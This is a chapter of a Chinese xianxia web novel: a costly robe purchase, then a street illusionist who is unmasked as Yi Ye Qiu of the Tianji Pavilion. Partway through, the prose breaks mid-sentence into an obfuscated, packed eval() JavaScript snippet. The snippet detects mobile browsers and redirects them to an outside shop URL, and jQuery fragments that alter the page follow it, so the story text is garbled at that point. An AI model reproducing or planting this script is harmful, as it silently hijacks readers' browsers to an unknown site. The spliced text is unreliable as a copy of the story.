俗话说人靠衣装马靠鞍,庄错虽然底子不错,一身紧袖劲装衬得他英气勃勃,但玉京的仙家,多喜欢峨冠博带、仙风道骨的调调。
屈指山河翻覆是仙君大能,一拳凿穿一座山只能称得上莽夫。
当年玉京诸人唾骂风不遇,都要谨记遵循文法,顾及风度,张口之乎者也,闭口子曰诗云,风不遇随便捡一段欣赏,就有三个典故没看过,五个大字不识得。
他愤懑地接受了自己是个文盲的事实,转头出门又挑了一个山头。
辰时,无风无雨,艳阳高照。
天衣坊里,风不遇瘫在轮椅上,看庄错换上一套套法衣在他眼前晃悠,忽而理解了那些执着于“仙家风范”的世家修士。
与前几日去的布庄不同,天衣坊只接待修士,只卖专供修士的法衣,只接受灵石交易。
正如庄错身上这一套,金色祥云纹滚边,玄色衣料采用天蚕丝缝制,在阳光下折射出五色华彩,金冠腰链一应配全,内嵌金丹修士亲手缝制的防御法阵,要足足一万两上品灵石。
店家是个年轻女修,约莫二十出头,筑基修为,一身藕荷色法衣裁剪合度,笑起来眉眼弯弯,一看便是做惯了修士生意的。
她笑着推销道:“这衣服刀枪不入,水火不侵,穿上更显得道友你气度不凡,好看得紧。”
风不遇大手一挥,豪横道,“卖了,直接穿走!”
庄错瞪大双眼,脱口而出,“你晚上打劫去了?”
难以想象,两天前他们还是一对儿穷光蛋。
女修麻利地算好账目,将赠送的配饰打包好,又捧着账单笑吟吟地递到风不遇面前:“道友,一共是一万两千三百块上品灵石。”
风不遇点点头,将商付瑜纳戒里的灵石倒进柜台上的灵石盘里,灵石哗啦啦落下,如鱼入水中,落入盘中不见踪影。
女修清点完毕,笑容愈发灿烂,又将目光转向风不遇:“这位公子不挑一身吗?本店新到了一批红色的法衣,与您的肤色极衬——”
风不遇不是不买,只是商付瑜的纳戒中只有这么多灵石,多了没有。
他头也不抬道:“钱都用来养男人了,没钱。”
为防庄错在商飞澜手下走不过一招,还是给他套件法衣罩着安心。
女修的笑容僵了一瞬,目光在庄错和风不遇之间来回转了两轮。
养男人?
她做了三年天衣坊的掌柜,见过师尊给徒弟买法衣的,见过道侣互相赠衣的,见过世家公子一掷千金博美人一笑的,唯独没见过一个坐在轮椅上、满脸缠纱的残废修士豪掷上万灵石给另一个男人买衣服。
她又看了一眼庄错。玄色金纹,金冠束发,身形挺拔,确实是一表人才。
这样的长相,怎么就是个吃绝户的小白脸呢?
女修同情地看向风不遇,心道旁人因果他本不该干预,但还是忍不住劝了一句,“这位道友,仙途漫漫,行路维艰,还是得对自己好点。”
风不遇抿唇,差点憋不住笑,用看狗都深情的眼神看着庄错,“五郎,你会对我好的吧?”
女修一拍额头,扼腕叹息。
没救了,真没救了!
“会,当然会。”庄错一扬唇角,推着风不遇的轮椅离开天衣坊。
天衣坊门口有两只门兽,见顾客穿着天衣坊的成衣出门,便七嘴八舌地拍起马屁。
“客官金质玉相!”
“客官彝鼎圭璋!”
“客官道运长隆,一步登天!”
庄错拱手道:“承您吉言。”
街上熙熙攘攘,人流如织,因这节日将近,四方商贾入城,优游杂伎冲街塞巷,热闹非凡。
庄错推着风不遇的轮椅,在人流中走得并不快。风不遇膝上摊着一包刚买的桂花糕,拆了油纸,咬了一口,嚼了两下便放下了。
食之无味,和嚼一块蜡也没什么区别。
他喉咙干渴,又买梅子饮喝,喝了两口,又放下了。
记忆中的味道酸甜清凉,但含在口中的,似乎和白水并无区别,还因为舌尖的麻木发苦。风不遇默默咽下这口苦涩,把饮子往庄错手边递了递。
庄错顺手接过,一口闷了。
远远地,便见前方街口围了一大圈人,里三层外三层,不时爆出一阵叫好声。人群缝隙里透出五色光华,时明时灭,映得围观者脸上忽红忽绿。
“幻术?”庄错挑眉。
风不遇懒洋洋地靠在轮椅上,抬了抬下巴示意他往前推:“看看去。”
也许因为风不遇浑身缠满纱带太过奇怪,也许因为庄错一身行头绝非凡间所有,总之所有人打量着他们,眼中闪过惊异神色,自觉给他们让道。
街心空地上,一个老道士正在表演幻术。
这老道士看上去约莫六七十岁,花白头发胡乱扎了个道髻,身上那件道袍不知穿了多久,袖口磨得发亮,下摆还打了两个颜色不一的补丁。他左手托着一只破旧的铜钵,右手捏着一张黄纸符,口中念念有词,将符纸往铜钵里一丢。
只听“轰”的一声,铜钵中蹿起一蓬五色烟雾。烟雾在半空中凝而不散,翻涌旋转,竟幻化成一条游龙,鳞爪毕现,摇头摆尾,绕场一周。龙尾扫过人群头顶时,前排几个孩子尖叫着伸手去抓,手指却穿过烟雾,什么也没捞着。
围观众人齐声喝彩,铜钱银角雨点般落进老道士脚边的破碗里。
老道士打了个稽首,笑呵呵道:“贫道这手‘五色游龙’,乃是正宗的茅山道法,非寻常江湖把戏可比。诸位若是想看更精彩的——”
他从袖中掏出一面古朴的铜镜,高高举起。那铜镜在日光下泛着幽幽的暗光,镜背铸着谁也看不懂的古篆符文,看上去倒真有几分上古法宝的架势。
“此乃秦王照骨镜,能照见前世今生、因果轮回。哪位施主愿意上来一试?只需纹银十两,贫道便为他照上一照。”
话音未落,一道蓝色的身影从人群外飞掠而入,脚尖点过几个围观群众的肩膀,稳稳落在老道士面前。落地时衣袍翻飞,腰间佩环叮当作响,正是林恺行。
他一把揪住老道士的衣领,几乎将人整个提了起来。
“臭道士!还我银子!”
老道士面不改色,仍旧是那副
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794529|210471||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
笑呵呵的模样:“小仙长,贫道与你有缘,才多关照你几分,你这又是做什么?”
“什么有缘!”林恺行气得脸都红了,“你方才在城东摆摊,让我照了三次,每次说我是不同的人!第一次说我是紫薇大帝转世,第二次说我是玄武真君下凡,第三次你连编都懒得编了,说我是太白金星养的猪崽子!”
此言一出,围观群众先是一愣,随即哄堂大笑。
“小仙长,你多大年岁,怎么还被一个江湖术士骗得团团转?”
人群中传出一道调侃,林恺行羞愤难当地看向人群,却见方才出声的,正是混在人群里的庄五郎和庄六郎!
“我帮了你们,你们还不给我说几句好话!”
风不遇推着轮椅,来到老道士跟前,“老头,你说你的照骨镜能照前世今生,那给我照照?”
老道士看着他赔笑,“今儿个和仙长有缘,一文钱不收,给仙长照一回。”
说着,他将铜镜举了起来,放在风不遇跟前。
“咦?”
人群中,疑惑的嘘声响起,不少人挤到前方,抻长着脖子去看。
却见镜中空空荡荡,能看见风不遇身后的人群和景物,却看不见风不遇本人。
“奇了奇了。”
“这是怎么回事?”
老道士也惊奇道:“我这镜子能照人照妖照魔照鬼,怎么就照不出仙长你啊?”
林恺行怒道:“果然是坑蒙拐骗的老牛鼻子!”
老道士撤了镜子,转身就跑。
却在转身时,他感觉自己面颊一凉,余光瞥见一道轻红划痕。他面露惊异之色,却无法阻止人皮面具像瘪气的气球,迅速缩成一团,从面颊剥离。
风不遇指尖仍夹着他顺手从树上摘的海棠花瓣。
林恺行也停下脚步,震惊地看向站在街心的人,失声喊道:“怎么是你?”
年轻道士眉心一点红痣,拱手作揖,姿态温文,声音也变得清朗如漱玉,“在下天机阁,一页秋,让诸位见笑了。”
若不是还穿着一身破烂道袍,他与那个猥琐老道士无半分相似之处。
天机阁的名号如雷贯耳,但是“一页秋”这名号,没人听过。
一页秋对林恺行说:“林公子,你这两位朋友倒是特别。”
林恺行疑惑道:“特殊在哪里?”
一页秋扬了扬手中的镜子,“一个,我的照骨镜照不出。”
林恺行嘁了一声,“你这破镜子还能照出什么?”
“另一个……”一页秋神秘莫测地摇摇头,但笑不语,转头看向庄错,伸出右手,口中念念有词地掐弄了一番。
林恺行疑惑问道:“你在算什么?”
天机阁以卜筮谋算见长,他随手拿出的镜子可能是假货,但要是算卦算错了,就是砸了自家招牌。
突然,一页秋脸色一变,扑通一跪,哇一声吐了一口血。
林恺行连忙跑过去拉起他,“你犯什么毛病?”
一页秋与庄错对视,抖了三抖,须臾移开目光,虚弱地赔笑,“哈哈哈,没什么,不小心行岔气了。”